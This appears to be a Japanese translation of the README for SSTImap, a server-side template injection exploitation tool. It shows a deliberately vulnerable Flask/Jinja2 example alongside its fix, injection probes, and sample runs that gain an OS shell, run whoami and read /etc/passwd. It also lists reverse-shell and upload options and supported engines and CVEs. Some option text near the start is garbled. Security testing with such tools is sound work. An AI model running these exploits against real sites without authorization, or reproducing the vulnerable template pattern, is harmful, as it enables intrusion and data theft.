
対話型インターフェースを備えた自動SSTI検出ツール
このツールは、いくつかのコードコンテキストエスケープやブラインドインジェクションシナリオを悪用できます。また、Java、JavaScript、PHP、Python、Ruby および一般的なサンドボックス化されていないテンプレートエンジンにおける eval() に類似したコードインジェクションもサポートしています。
このソフトウェアは Tplmap のコードに基づいていますが、後方互換性は提供されていません。
-i)--generic を使用Eval_generic モジュールを使用した汎用評価テンプレートインジェクションの検出-x) または単一コマンド (-X) の実行-h を確認してくださいこれは、Python で Flask フレームワークと Jinja2 テンプレートエンジンを使用して書かれた単純な Web サイトの例です。ユーザーが指定した変数 name を、レンダリング前にテンプレート文字列に連結するという安全でない方法で統合しています。
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
このテンプレートの使用方法は XSS 脆弱性を生み出すだけでなく、攻撃者がサーバー上で実行されるテンプレートコードを注入することを可能にし、SSTI につながります。
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
ユーザーが指定した入力は、レンダリングコンテキストを通じて安全な方法で導入されるべきです:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
既定モードの SSTImap は Tplmap と非常に似ています。複数の異なるテンプレートにおける SSTI 脆弱性の検出と悪用が可能です。
悪用後、SSTImap はコード評価、OS コマンド実行、ファイルシステム操作へのアクセスを提供できます。
URL を確認するには、-u 引数を使用できます:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--os-shell オプションを使用して、ターゲット上で擬似ターミナルを起動します。
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
オプションの完全なリストを取得するには、--help 引数を使用します。
対話モードでは、コマンドを使用して SSTImap と対話します。対話モードに入るには、-i 引数を使用できます。悪用ペイロードに関する引数を除くすべての引数は、設定の初期値として使用されます。
一部のコマンドは、テスト実行間で設定を変更するために使用されます。テストを実行するには、ターゲット URL を初期 -u 引数または url コマンドで指定する必要があります。その後、run コマンドを使用して URL の SSTI を確認できます。
SSTI が見つかった場合、コマンドを使用して悪用を開始できます。既定モードと同じ悪用機能を使用できますが、Ctrl+C を使用してプログラムを停止せずに中断できます。
ちなみに、テスト結果はターゲット URL が変更されるまで有効なので、毎回検出テストを実行することなく、悪用方法を簡単に切り替えることができます。
対話コマンドの完全なリストを取得するには、対話モードで help コマンドを使用します。
SSTImap は複数のテンプレートエンジンと eval() に類似したインジェクションをサポートしています。
新しいペイロードは PR で歓迎します。開発を迅速化するには、ヒント を確認してください。
| Engine | RCE | Tech | Language | Type |
|---|---|---|---|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Mustache (<=1.1.2; detection only) | × | reb_ | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
技術: (R)endered, (E)rror-based, (B)oolean error-based blind, (T)ime-based blind; 小文字は部分的にサポートされている技術を示します
その他のプラグインとペイロードは SSTImap Extra Plugins リポジトリにあります。
現在、Burp Suite は Python2 を実行する方法として Jython でのみ動作します。Python3 機能は提供されていません。
このリストから大きな貢献を計画している場合は、私や他の貢献者と同じ作業を避けるために私に知らせてください。
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19.0) | ✓ | REBT | PHP | Legacy |
| Pybars3 / Pybars4 | ✓ | REBT | Python | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| Obscure evaluating syntaxes | × | Reb_ | * | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |
| CVE-2026-46640 | ✓ | REBT | PHP | Extra |